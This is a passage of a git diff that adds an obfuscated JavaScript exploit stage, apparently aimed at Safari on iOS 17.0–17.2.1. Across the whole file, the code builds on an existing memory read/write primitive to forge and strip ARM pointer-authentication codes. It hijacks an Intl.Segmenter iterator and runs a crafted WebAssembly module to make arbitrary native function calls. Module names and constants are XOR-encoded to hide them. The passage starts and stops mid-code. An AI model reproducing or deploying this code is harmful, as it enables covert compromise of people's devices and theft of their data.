Ea: () => P.platformState.Dn.tl("/usr/lib/system/libsystem_malloc.dylib").kl("_free"), + pa: () => P.platformState.Dn.nl.ya.kl("__ZN3WTF10fastMallocEm") + }; + } +} +return r; \ No newline at end of file diff --git a/Stage2_17.0_17.2.1_seedbell.js b/Stage2_17.0_17.2.1_seedbell.js new file mode 100644 index 0000000..85c0ba6 --- /dev/null +++ b/Stage2_17.0_17.2.1_seedbell.js @@ -0,0 +1,563 @@ +let r = {}; +const x = globalThis.moduleManager.getModuleByName(([79, 77, 76, 72, 74, 72, 74, 76, 30, 76, 72, 74, 77, 67, 24, 27, 27, 30, 74, 31, 79, 77, 31, 76, 30, 67, 31, 25, 67, 73, 75, 72, 74, 25, 74, 28, 79, 72, 78, 77].map(x => { + return String.fromCharCode(x ^ 122); + }).join(""))), + P = globalThis.moduleManager.getModuleByName(([6, 3, 1, 1, 14, 84, 86, 4, 85, 6, 2, 6, 14, 85, 86, 5, 86, 15, 81, 3, 7, 85, 82, 5, 15, 0, 81, 1, 3, 1, 83, 3, 83, 0, 2, 14, 4, 82, 85, 7].map(x => { + return String.fromCharCode(x ^ 55); + }).join(""))), + { + N: G, + tn: W, + nn: C, + Vt: m, + U: j, + An: S, + vn: O, + T: l, + v: o, + I: u, + B: s, + K: R, + O: K + } = globalThis.moduleManager.getModuleByName(([93, 95, 94, 90, 88, 90, 88, 94, 12, 94, 90, 88, 95, 81, 10, 9, 9, 12, 88, 13, 93, 95, 13, 94, 12, 81, 13, 11, 81, 91, 89, 90, 88, 11, 88, 14, 93, 90, 92, 95].map(x => { + return String.fromCharCode(x ^ 104); + }).join(""))); +r.ga = function() { + platformModule.platformState.exploitPrimitive, platformModule.platformState.Dn; + const t = new ht; + return platformModule.platformState.jn = t, platformModule.platformState.Zn = new wt, platformModule.platformState.Wn = t.Wn, platformModule.platformState.Wh = new mt, platformModule.platformState.Yh = new yt, new bt(t) +}; +class bt { + constructor(t) { + this.tb = t, this.cc = !0, this.La = this.tb.La, this.Ga = this.tb.Ga, this.Xa = this.tb.Xa, this.Ma = this.tb.Ma + } + pacda(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.pacda(t.Nt(), s.Nt())) + } + pacia(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.pacia(t.Nt(), s.Nt())) + } + autda(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.autda(t.Nt(), s.Nt())) + } + autia(t, s) { + return utilityModule.Int64.fromBigInt(this.tb.autia(t.Nt(), s.Nt())) + } + tc(t, s, i) { + return utilityModule.Int64.fromBigInt(this.tb.Wn.call({ + ab: t.Nt(), + sb: s.Nt(), + x1: i.Nt(), + x2: j(0), + ib: j(0), + bb: j(0) + })) + } +} +class ht { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + _a: t.nl._a + }, this.hb = { + lb: null + }, this.ub = s.allocZeroBuffer(32), this._b = s.allocZeroBuffer(48), this.Wn = new _t, this.eb = new ft; + { + const s = t.nl.fa; + let i = 0x10n, + a = [(4294967296 + (1983344233 ^ -600347240)), (4294967296 + (1987535438 ^ -595631682)), (4294967296 + (1416452141 ^ -2123466446)), (758466393 ^ 959792981), (4294967296 + (1232029497 ^ -479247160)), (4294967296 + (1816545330 ^ -967947326)), (4294967296 + (1464628590 ^ -1920106625)), (929129290 ^ 593584962), (4294967296 + (1298547564 ^ -412729187)), (4294967296 + (1985099830 ^ -598066234)), (4294967296 + (1882801488 ^ -1522899953)), (1296199266 ^ 1497525862), (4294967296 + (1748591465 ^ -1036427112)), (4294967296 + (1266241889 ^ -512666991)), (4294967296 + (1832019044 ^ -1208784267)), (4294967296 + (2019640684 ^ -764393844)), (4294967296 + (1096169830 ^ -1761002842))], + h = null; + const e = i => t.rl.Kl(s, a, i); + for (;;) { + if (h = e(h), null === h) return null; + if (h !== this.Dn._a) break; + h += j(0x4n * a.length) + } + if (null === h) return null; + this.La = m.ot(h), this.Ga = m.ot(h + 1n * i), this.Xa = m.ot(h + 2n * i), this.Ma = m.ot(h + 3n * i) + } + } + nb(t, s, i) { + platformModule.platformState.Dn, platformModule.platformState.exploitPrimitive; + return null === this.hb.lb && (this.hb.lb = this.eb.call({ + ab: this.Dn._a + })), this.Wn.call({ + ab: this.hb.lb, + sb: s, + x1: i & j(0xffffffffffff), + x2: 1n, + ib: i >> 48n & 0xFFFFn, + bb: j(t) + }) + } + pacda(t, s) { + return this.nb(0, t, s) + } + pacia(t, s) { + return this.nb(1, t, s) + } + autia(t, s) { + return this.nb(2, t, s) + } + autda(t, s) { + return this.nb(3, t, s) + } + mb(t) { + return this.nb(1, this.Ga.Dt().Nt() + 0x8n, t) + } +} +class _t { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + na: t.nl.na + }, this.hb = { + cb: null + }, this.ub = s.allocZeroBuffer(32), this._b = s.allocZeroBuffer(48), this.gb = new dt, this.eb = new ft + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive; + if (0 === t.sb || 0x0n === t.sb) throw new Error("0 === t.sb || 0x0n === t.sb"); + null === this.hb.cb && (this.hb.cb = this.eb.call({ + ab: this.Dn.na + })); + const i = [ + [this.ub, [ + [0, this._b], + [8, 1], + [12, 1] + ]], + [this._b, [ + [0, 0], + [8, t.x2], + [16, t.ib], + [24, t.bb], + [32, t.sb], + [40, 1] + ]] + ]; + for (const [t, a] of i) + for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h)); + return this.gb.call({ + ab: this.hb.cb, + sb: this.ub, + x1: t.ab, + x2: t.x1 + }) + } +} +class dt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + Zl: t.nl.Zl, + ql: t.nl.ql, + Yl: t.nl.Yl, + Wl: t.nl.Wl, + $l: t.nl.$l, + Ql: t.nl.Ql, + ra: t.nl.ra + }, this.xb = s.allocZeroBuffer(80), this.pb = s.allocZeroBuffer(80), this.wb = s.allocZeroBuffer(80), this.Tb = s.allocZeroBuffer((863595386 ^ 863594618)), this.zb = s.allocZeroBuffer(80), this.Pb = new ut + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive, + i = [ + [this.wb, [ + [32, this.Dn.ql], + [8, this.zb], + [48, this.Tb] + ]], + [this.zb, [ + [16, j(7444609979)] + ]], + [this.Tb, [ + [64, 0], + [24, 0], + [(1163357514 ^ 1163357490), 0], + [(1934194544 ^ 1934194264), 0], + [(846489426 ^ 846489186), 0], + [(913862256 ^ 913862472), 0], + [(1365396346 ^ 1365396002), 0], + [(860322154 ^ 860321810), this.Dn.Ql], + [(1194341742 ^ 1194341862), 0], + [(1699829583 ^ 1699829455), t.x1], + [(1717913463 ^ 1717913343), this.xb], + [(1433486423 ^ 1433486791), j((1986159438 ^ 1789833090))] + ]], + [this.xb, [ + [16, t.ab], + [8, t.sb], + [48, t.x2] + ]] + ]; + for (const [t, a] of i) + for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h)); + const a = s.read64(this.Dn.Yl), + h = s.read64(this.Dn.Wl); + try { + s.write64(this.Dn.Yl, this.Dn.$l), s.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb) + } finally { + s.write64(this.Dn.Yl, a), s.write64(this.Dn.Wl, h) + } + return s.read64(this.zb + 0x10n) + } +} +class ft { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + aa: t.nl.aa, + la: t.nl.la, + oa: t.nl.oa, + ea: t.nl.ea + }, this.Ab = null, this.Cb = s.allocZeroBuffer(32), this.Sb = new xt + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive; + null === this.Ab && (this.Ab = this.Sb.call({ + id: this.Dn.aa, + Ib: this.Dn.la + })); + const i = s.read64(this.Dn.oa); + try { + s.write64(this.Dn.oa, t.ab), this.Sb.call({ + id: this.Ab, + Ib: this.Dn.ea, + kb: this.Cb + 0x10n, + Hb: this.Cb + }) + } finally { + s.write64(this.Dn.oa, i) + } + return s.read64(this.Cb) + } +} +class xt { + constructor() { + const t = platformModule.platformState.Dn; + platformModule.platformState.exploitPrimitive; + this.Dn = { + sa: t.nl.sa, + ia: t.nl.ia + }, this.Ub = new gt + } + call(t) { + platformModule.platformState.Dn; + const s = platformModule.platformState.exploitPrimitive, + i = s.read64(this.Dn.ia); + try { + return s.write64(this.Dn.ia, t.Ib), this.Ub.call({ + ab: this.Dn.sa, + sb: t.id, + x2: t.kb, + ib: t.Hb + }) + } finally { + s.write64(this.Dn.ia, i) + } + } +} +class pt { + constructor() { + const t = platformModule.platformState.Dn; + platformModule.platformState.exploitPrimitive; + this.hb = { + Aa: t.nl.Aa + }, this.gb = new dt + } + call(t) { + return this.gb.call({ + ab: this.hb.Aa, + sb: t.size, + x1: 0x0n, + x2: 0x0n + }) + } +} +class gt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive; + this.Dn = { + Zl: t.nl.Zl, + ql: t.nl.ql, + Yl: t.nl.Yl, + Wl: t.nl.Wl, + $l: t.nl.$l, + ca: t.nl.ca, + ra: t.nl.ra + }, this.wb = s.allocZeroBuffer(80), this.Tb = s.allocZeroBuffer((927165042 ^ 927164498)), this.zb = s.allocZeroBuffer(80), this.Bb = null, this.Mb = s.allocZeroBuffer(80), this.jb = new pt, this.Pb = new ut + } + call(t) { + const s = platformModule.platformState.exploitPrimitive; + this.Bb = this.jb.call({ + size: 0x120n + }); + const i = [ + [this.wb, [ + [32, this.Dn.$l], + [8, this.Tb], + [48, 0] + ]], + [this.Tb, [ + [64, 0], + [24, 0], + [(1700884787 ^ 1700884811), 0], + [(1177906801 ^ 1177907033), 0], + [(929525865 ^ 929526105), 0], + [(1953592922 ^ 1953593186), 0], + [(894916447 ^ 894916103), 0], + [(1848669546 ^ 1848669202), this.Dn.ca], + [(895701328 ^ 895701464), 0], + [(962021488 ^ 962021872), this.Bb], + [(1783655782 ^ 1783655662), t.x2], + [(1110718567 ^ 1110718967), t.ib] + ]], + [this.Bb, [ + [0, t.sb], + [8, this.Mb] + ]], + [this.Mb, [ + [0, this.zb], + [16, this.Dn.ql] + ]], + [this.zb, [ + [16, 0x0bbb9999n] + ]] + ]; + for (const [t, a] of i) + for (let [i, h] of a) null == h && (h = 0x0n), s.write64(j(t) + j(i), j(h)); + const a = s.read64(this.Dn.Yl), + h = s.read64(this.Dn.Wl); + try { + s.write64(this.Dn.Yl, t.ab), s.write64(this.Dn.Wl, this.Dn.Zl), this.Pb.call(this.Dn.ra, this.wb) + } finally { + s.write64(this.Dn.Yl, a), s.write64(this.Dn.Wl, h) + } + return s.read64(this.zb + 0x10n) + } +} +class ut { + constructor() { + const t = platformModule.platformState.exploitPrimitive, + s = new Intl.Segmenter("en", { + Pa: ([68, 82, 89, 67, 82, 89, 84, 82].map(x => { + return String.fromCharCode(x ^ 55); + }).join("")) + }), + i = []; + for (let t = 0; t < (913662785 ^ 913662573); t++) i.push("a"); + const a = i.join(" "); + s.segment(a); + this.yb = s, this.Fb = s.segment(a), this.Cd = t.allocZeroBuffer(globalThis.moduleManager.getModuleByName(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => { + return String.fromCharCode(x ^ 51); + }).join(""))).platformState.versionFlags.NfRtuR) + } + call(t, s) { + const i = platformModule.platformState.exploitPrimitive, + a = this.Fb[Symbol.iterator](), + h = (() => { + const t = i.getObjectAddress(a); + return i.read64(t + j(globalThis.moduleManager.getModuleByName(([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map(x => { + return String.fromCharCode(x ^ 77); + }).join(""))).platformState.versionFlags.jtUNKB)) + })(), + e = h + j(globalThis.moduleManager.getModuleByName(([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map(x => { + return String.fromCharCode(x ^ 74); + }).join(""))).platformState.versionFlags.MJf4mX), + l = i.read64(h + j(globalThis.moduleManager.getModuleByName(([94, 91, 89, 89, 86, 12, 14, 92, 13, 94, 90, 94, 86, 13, 14, 93, 14, 87, 9, 91, 95, 13, 10, 93, 87, 88, 9, 89, 91, 89, 11, 91, 11, 88, 90, 86, 92, 10, 13, 95].map(x => { + return String.fromCharCode(x ^ 111); + }).join(""))).platformState.versionFlags.zPL1kr)), + n = i.read64(h + j(globalThis.moduleManager.getModuleByName(([125, 120, 122, 122, 117, 47, 45, 127, 46, 125, 121, 125, 117, 46, 45, 126, 45, 116, 42, 120, 124, 46, 41, 126, 116, 123, 42, 122, 120, 122, 40, 120, 40, 123, 121, 117, 127, 41, 46, 124].map(x => { + return String.fromCharCode(x ^ 76); + }).join(""))).platformState.versionFlags.ga3074)), + r = i.read64(h + j(globalThis.moduleManager.getModuleByName(([93, 88, 90, 90, 85, 15, 13, 95, 14, 93, 89, 93, 85, 14, 13, 94, 13, 84, 10, 88, 92, 14, 9, 94, 84, 91, 10, 90, 88, 90, 8, 88, 8, 91, 89, 85, 95, 9, 14, 92].map(x => { + return String.fromCharCode(x ^ 108); + }).join(""))).platformState.versionFlags.yjShKn)), + b = i.read64(e + j(globalThis.moduleManager.getModuleByName(([69, 64, 66, 66, 77, 23, 21, 71, 22, 69, 65, 69, 77, 22, 21, 70, 21, 76, 18, 64, 68, 22, 17, 70, 76, 67, 18, 66, 64, 66, 16, 64, 16, 67, 65, 77, 71, 17, 22, 68].map(x => { + return String.fromCharCode(x ^ 116); + }).join(""))).platformState.versionFlags.OaAnPR)), + c = i.read64(l + j(globalThis.moduleManager.getModuleByName(([97, 100, 102, 102, 105, 51, 49, 99, 50, 97, 101, 97, 105, 50, 49, 98, 49, 104, 54, 100, 96, 50, 53, 98, 104, 103, 54, 102, 100, 102, 52, 100, 52, 103, 101, 105, 99, 53, 50, 96].map(x => { + return String.fromCharCode(x ^ 80); + }).join(""))).platformState.versionFlags.PCsIV0)), + o = i.read64(h + j(globalThis.moduleManager.getModuleByName(([123, 126, 124, 124, 115, 41, 43, 121, 40, 123, 127, 123, 115, 40, 43, 120, 43, 114, 44, 126, 122, 40, 47, 120, 114, 125, 44, 124, 126, 124, 46, 126, 46, 125, 127, 115, 121, 47, 40, 122].map(x => { + return String.fromCharCode(x ^ 74); + }).join(""))).platformState.versionFlags.oHmyQl)); + { + const t = i.read32(c + j(globalThis.moduleManager.getModuleByName(([28, 25, 27, 27, 20, 78, 76, 30, 79, 28, 24, 28, 20, 79, 76, 31, 76, 21, 75, 25, 29, 79, 72, 31, 21, 26, 75, 27, 25, 27, 73, 25, 73, 26, 24, 20, 30, 72, 79, 29].map(x => { + return String.fromCharCode(x ^ 45); + }).join(""))).platformState.versionFlags.vnu2oq)), + s = i.read32(c + j(globalThis.moduleManager.getModuleByName(([72, 77, 79, 79, 64, 26, 24, 74, 27, 72, 76, 72, 64, 27, 24, 75, 24, 65, 31, 77, 73, 27, 28, 75, 65, 78, 31, 79, 77, 79, 29, 77, 29, 78, 76, 64, 74, 28, 27, 73].map(x => { + return String.fromCharCode(x ^ 121); + }).join(""))).platformState.versionFlags.attyap)), + a = 2 * (globalThis.moduleManager.getModuleByName(([2, 7, 5, 5, 10, 80, 82, 0, 81, 2, 6, 2, 10, 81, 82, 1, 82, 11, 85, 7, 3, 81, 86, 1, 11, 4, 85, 5, 7, 5, 87, 7, 87, 4, 6, 10, 0, 86, 81, 3].map(x => { + return String.fromCharCode(x ^ 51); + }).join(""))).platformState.versionFlags.DjRSp0 + i.read32(c + j(s))), + o = globalThis.moduleManager.getModuleByName(([100, 97, 99, 99, 108, 54, 52, 102, 55, 100, 96, 100, 108, 55, 52, 103, 52, 109, 51, 97, 101, 55, 48, 103, 109, 98, 51, 99, 97, 99, 49, 97, 49, 98, 96, 108, 102, 48, 55, 101].map(x => { + return String.fromCharCode(x ^ 85); + }).join(""))).platformState.versionFlags.LVt9Wy + a * t; + if (o % 4 != 0) throw new Error("o % 4 != 0"); + const [f, d] = i.allocZeroBufferPair(a); + for (let t = 0; t < o; t += 4) i.write32(d + j(t), i.read32(c + j(t))); + const _ = 2, + u = 4; + i.write32(d + j(globalThis.moduleManager.getModuleByName(([7, 2, 0, 0, 15, 85, 87, 5, 84, 7, 3, 7, 15, 84, 87, 4, 87, 14, 80, 2, 6, 84, 83, 4, 14, 1, 80, 0, 2, 0, 82, 2, 82, 1, 3, 15, 5, 83, 84, 6].map(x => { + return String.fromCharCode(x ^ 54); + }).join(""))).platformState.versionFlags.pUvASJ), u | _); + for (let a = 0; a < t; a++) { + const t = d + j(globalThis.moduleManager.getModuleByName(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => { + return String.fromCharCode(x ^ 95); + }).join(""))).platformState.versionFlags.sMuYjH + s * a); + i.write32(t, 2); + for (let a = 0; a < s; a++) i.patchByte(t + j(globalThis.moduleManager.getModuleByName(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => { + return String.fromCharCode(x ^ 90); + }).join(""))).platformState.versionFlags.KSrWFg + a), 0) + } + const [x, p] = i.allocZeroBufferPair((1098340918 ^ 1098341110)); + i.write32(d + j(globalThis.moduleManager.getModuleByName(([116, 113, 115, 115, 124, 38, 36, 118, 39, 116, 112, 116, 124, 39, 36, 119, 36, 125, 35, 113, 117, 39, 32, 119, 125, 114, 35, 115, 113, 115, 33, 113, 33, 114, 112, 124, 118, 32, 39, 117].map(x => { + return String.fromCharCode(x ^ 69); + }).join(""))).platformState.versionFlags.FGsnBi), 48); + { + const t = r + j(globalThis.moduleManager.getModuleByName(([100, 97, 99, 99, 108, 54, 52, 102, 55, 100, 96, 100, 108, 55, 52, 103, 52, 109, 51, 97, 101, 55, 48, 103, 109, 98, 51, 99, 97, 99, 49, 97, 49, 98, 96, 108, 102, 48, 55, 101].map(x => { + return String.fromCharCode(x ^ 85); + }).join(""))).platformState.versionFlags.msD22k); + for (let s = 0; s < (1467046255 ^ 1467046383); s++) i.write32(t + j(4 * s), (1114061160 ^ 1114061256)) + } + i.write64(l + j(globalThis.moduleManager.getModuleByName(([65, 68, 70, 70, 73, 19, 17, 67, 18, 65, 69, 65, 73, 18, 17, 66, 17, 72, 22, 68, 64, 18, 21, 66, 72, 71, 22, 70, 68, 70, 20, 68, 20, 71, 69, 73, 67, 21, 18, 64].map(x => { + return String.fromCharCode(x ^ 112); + }).join(""))).platformState.versionFlags.PCsIV0), d), i.write64(h + j(globalThis.moduleManager.getModuleByName(([124, 121, 123, 123, 116, 46, 44, 126, 47, 124, 120, 124, 116, 47, 44, 127, 44, 117, 43, 121, 125, 47, 40, 127, 117, 122, 43, 123, 121, 123, 41, 121, 41, 122, 120, 116, 126, 40, 47, 125].map(x => { + return String.fromCharCode(x ^ 77); + }).join(""))).platformState.versionFlags.oHmyQl), p), i.write32(n + j(globalThis.moduleManager.getModuleByName(([110, 107, 105, 105, 102, 60, 62, 108, 61, 110, 106, 110, 102, 61, 62, 109, 62, 103, 57, 107, 111, 61, 58, 109, 103, 104, 57, 105, 107, 105, 59, 107, 59, 104, 106, 102, 108, 58, 61, 111].map(x => { + return String.fromCharCode(x ^ 95); + }).join(""))).platformState.versionFlags.LM9blg), (4294967296 + (1902732360 ^ -1902732361))), i.write32(e + j(globalThis.moduleManager.getModuleByName(([85, 80, 82, 82, 93, 7, 5, 87, 6, 85, 81, 85, 93, 6, 5, 86, 5, 92, 2, 80, 84, 6, 1, 86, 92, 83, 2, 82, 80, 82, 0, 80, 0, 83, 81, 93, 87, 1, 6, 84].map(x => { + return String.fromCharCode(x ^ 100); + }).join(""))).platformState.versionFlags.TLJcwX), (1483502169 ^ 1483502329)); + for (let t = 0; t < globalThis.moduleManager.getModuleByName(([86, 83, 81, 81, 94, 4, 6, 84, 5, 86, 82, 86, 94, 5, 6, 85, 6, 95, 1, 83, 87, 5, 2, 85, 95, 80, 1, 81, 83, 81, 3, 83, 3, 80, 82, 94, 84, 2, 5, 87].map(x => { + return String.fromCharCode(x ^ 103); + }).join(""))).platformState.versionFlags.NfRtuR; t += 4) i.write32(this.Cd + j(t), i.read32(b) + t) + } + i.write64(e + j(globalThis.moduleManager.getModuleByName(([126, 123, 121, 121, 118, 44, 46, 124, 45, 126, 122, 126, 118, 45, 46, 125, 46, 119, 41, 123, 127, 45, 42, 125, 119, 120, 41, 121, 123, 121, 43, 123, 43, 120, 122, 118, 124, 42, 45, 127].map(x => { + return String.fromCharCode(x ^ 79); + }).join(""))).platformState.versionFlags.OaAnPR), this.Cd); + try { + i.write64(this.Cd + j(globalThis.moduleManager.getModuleByName(([0, 5, 7, 7, 8, 82, 80, 2, 83, 0, 4, 0, 8, 83, 80, 3, 80, 9, 87, 5, 1, 83, 84, 3, 9, 6, 87, 7, 5, 7, 85, 5, 85, 6, 4, 8, 2, 84, 83, 1].map(x => { + return String.fromCharCode(x ^ 49); + }).join(""))).platformState.versionFlags.qRQJn0), t), i.write64(e + j(globalThis.moduleManager.getModuleByName(([67, 70, 68, 68, 75, 17, 19, 65, 16, 67, 71, 67, 75, 16, 19, 64, 19, 74, 20, 70, 66, 16, 23, 64, 74, 69, 20, 68, 70, 68, 22, 70, 22, 69, 71, 75, 65, 23, 16, 66].map(x => { + return String.fromCharCode(x ^ 114); + }).join(""))).platformState.versionFlags.SAobkS), s), a.next().value + } finally { + i.write64(e + j(globalThis.moduleManager.getModuleByName(([107, 110, 108, 108, 99, 57, 59, 105, 56, 107, 111, 107, 99, 56, 59, 104, 59, 98, 60, 110, 106, 56, 63, 104, 98, 109, 60, 108, 110, 108, 62, 110, 62, 109, 111, 99, 105, 63, 56, 106].map(x => { + return String.fromCharCode(x ^ 90); + }).join(""))).platformState.versionFlags.OaAnPR), b), i.write64(h + j(globalThis.moduleManager.getModuleByName(([122, 127, 125, 125, 114, 40, 42, 120, 41, 122, 126, 122, 114, 41, 42, 121, 42, 115, 45, 127, 123, 41, 46, 121, 115, 124, 45, 125, 127, 125, 47, 127, 47, 124, 126, 114, 120, 46, 41, 123].map(x => { + return String.fromCharCode(x ^ 75); + }).join(""))).platformState.versionFlags.oHmyQl), o) + } + } +} +class wt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.exploitPrimitive, + i = platformModule.platformState.jn, + a = new Uint8Array([0, 97, (2017548118 ^ 2017548069), (1347507275 ^ 1347507238), 1, 0, 0, 0, 1, 52, 3, 96, 8, (1182361671 ^ 1182361657), (1986819700 ^ 1986819594), (1313691702 ^ 1313691720), (1951160418 ^ 1951160348), (1697469543 ^ 1697469465), (946946913 ^ 946946847), (1700351606 ^ 1700351496), (1180333141 ^ 1180333099), 1, (1920366421 ^ 1920366379), 96, 16, (1664374594 ^ 1664374589), (1801407087 ^ 1801406992), (1333347436 ^ 1333347347), (2033727033 ^ 2033727046), (1869305928 ^ 1869305911), (959670902 ^ 959670793), (1984318808 ^ 1984318759), (1195463539 ^ 1195463436), (892421970 ^ 892421933), (762533242 ^ 762533125), (860640344 ^ 860640295), (1178875254 ^ 1178875145), (880173944 ^ 880173831), (960712538 ^ 960712485), (1733119812 ^ 1733119803), (1917793361 ^ 1917793326), 1, (1447261299 ^ 1447261197), 96, 16, (1516384351 ^ 1516384288), (1147826024 ^ 1147825943), (892887880 ^ 892887863), (1934652008 ^ 1934651927), (944131629 ^ 944131666), (1766999925 ^ 1766999818), (1433495401 ^ 1433495318), (1732535374 ^ 1732535345), (1601324405 ^ 1601324298), (1716415352 ^ 1716415239), (1464486517 ^ 1464486410), (926438724 ^ 926438715), (1215842626 ^ 1215842621), (2037994864 ^ 2037994767), (1970750284 ^ 1970750259), (1113019494 ^ 1113019417), 0, 3, 5, 4, 0, 1, 1, 2, 4, 4, 1, (1463969100 ^ 1463969084), 0, 2, 5, 4, 1, 1, 1, 1, 7, 17, 4, 1, (1766609742 ^ 1766609722), 1, 0, 1, (1781753466 ^ 1781753367), 2, 0, 1, (1146306872 ^ 1146306903), 0, 0, 1, (1414615110 ^ 1414615072), 0, 3, 9, 7, 1, 0, 65, 0, 11, 1, 0, 10, (1465150810 ^ 1465150872), 1, 4, 4, 0, 66, 0, 11, 88, 0, 32, 1, (1916879967 ^ 1916880114), 66, 32, (1900561752 ^ 1900561886), 32, 0, (1903248463 ^ 1903248610), (762654017 ^ 762654149), 32, 3, (2018405226 ^ 2018405319), 66, 32, (1733190499 ^ 1733190629), 32, 2, (1917343306 ^ 1917343463), (1265059141 ^ 1265059265), 32, 5, (1397637483 ^ 1397637574), 66, 32, (1177907265 ^ 1177907399), 32, 4, (1866558327 ^ 1866558426), (1916875874 ^ 1916876006), 32, 7, (1869311854 ^ 1869311939), 66, 32, (1867797555 ^ 1867797685), 32, 6, (842229608 ^ 842229701), (913986411 ^ 913986543), 32, 9, (1415066725 ^ 1415066824), 66, 32, (1095200067 ^ 1095200197), 32, 8, (829184353 ^ 829184460), (1247106919 ^ 1247107043), 32, 11, (2004053875 ^ 2004053982), 66, 32, (1499030852 ^ 1499030978), 32, 10, (845373300 ^ 845373401), (1702001004 ^ 1702001128), 32, 13, (1919246149 ^ 1919246312), 66, 32, (1450666836 ^ 1450666962), 32, 12, (1667721538 ^ 1667721711), (963523156 ^ 963523280), 32, 15, (1698788204 ^ 1698788289), 66, 32, (1665431929 ^ 1665432063), 32, 14, (1282232415 ^ 1282232562), (1850632019 ^ 1850632151), 65, 0, 17, 0, 0, 15, 11, 37, 0, 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 1, 15, 11, 60, 1, 1, (897151348 ^ 897151242), 32, 0, 32, 1, 32, 2, 32, 3, 32, 4, 32, 5, 32, 6, 32, 7, 32, 8, 32, 9, 32, 10, 32, 11, 32, 12, 32, 13, 32, 14, 32, 15, 16, 2, 33, 16, 65, 0, 32, 16, (1933141315 ^ 1933141476), 54, 2, 0, 65, 4, 32, 16, 66, 32, (1096307267 ^ 1096307403), (863325249 ^ 863325414), 54, 2, 0, 15, 11]), + h = new WebAssembly.Module(a, {}), + e = new WebAssembly.Instance(h, {}); + this.Eb = e.exports.f, this.Wb = e.exports.o, this.vb = new Uint32Array(e.exports.m.buffer), this.Db = s.getObjectAddress(this.Wb), this.Dn = { + xa: t.nl.xa + }, this.hb = { + Gb: i.pacda(this.Dn.xa, 0x0n) + }, this.Kb = new BigUint64Array(8), this.Rb = new Int32Array(this.Kb.buffer), this.Vb = new DataView(this.Kb.buffer) + } + call(t, s) { + platformModule.platformState.Dn; + const i = platformModule.platformState.exploitPrimitive, + a = (platformModule.platformState.jn, platformModule.platformState.Wn); + if (!(s.length <= 8)) throw new Error(([30, 40, 58, 36, 3, 32, 61, 10, 40, 46, 44, 10, 40, 37, 37, 25, 59, 32, 36, 32, 61, 32, 63, 44, 105, 38, 39, 37, 48, 105, 58, 60, 57, 57, 38, 59, 61, 58, 105, 113, 105, 59, 44, 46, 32, 58, 61, 44, 59, 105, 40, 59, 46, 58, 101, 105, 46, 38, 61, 105].map(x => { + return String.fromCharCode(x ^ 73) + }).join("")) + (s.length)); + for (const t in s) this.Kb[t] = j(s[t]); + const h = i.read64(this.Db + j(globalThis.moduleManager.getModuleByName(([70, 67, 65, 65, 78, 20, 22, 68, 21, 70, 66, 70, 78, 21, 22, 69, 22, 79, 17, 67, 71, 21, 18, 69, 79, 64, 17, 65, 67, 65, 19, 67, 19, 64, 66, 78, 68, 18, 21, 71].map(x => { + return String.fromCharCode(x ^ 119); + }).join(""))).platformState.versionFlags.rvXShf)), + e = i.read64(h), + l = j((1835549285 ^ 1835558600)); + a.call({ + ab: this.hb.Gb, + sb: S(e), + x1: l + }); + const n = a.call({ + ab: this.hb.Gb, + sb: S(t), + x1: l + }); + try { + return i.write64(h, n), this.Eb(...this.Rb), this.Rb[0] = this.vb[0], this.Rb[1] = this.vb[1], this.Kb[0] + } finally { + i.write64(h, e) + } + } +} +class yt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.jn; + this.hb = { + Xb: s.pacda(t.nl.pa, 0x0n) + } + } + qb(t) { + return platformModule.platformState.Wn.call({ + ab: this.hb.Xb, + sb: j(t) + }) + } +} +class mt { + constructor() { + const t = platformModule.platformState.Dn, + s = platformModule.platformState.jn; + this.hb = { + Jb: s.pacda(t.nl.Ta, 0x0n), + Nb: s.pacda(t.nl.Ea, 0x0n), + $b: s.pacda(t.nl.Ca, 0x0n), + Lb: s.pacda(t.nl.ka, 0x0n) + } + } + Ob(t) { + return platformModule.platformState.Wn.call({ + ab: this.hb.Jb, + sb: j(t) + }) + } + Qb(t) { + return platformModule.platformState.Wn.call({ + ab: this.hb.Nb, + sb: t + }) + } + Yb(t, s, i) { + return 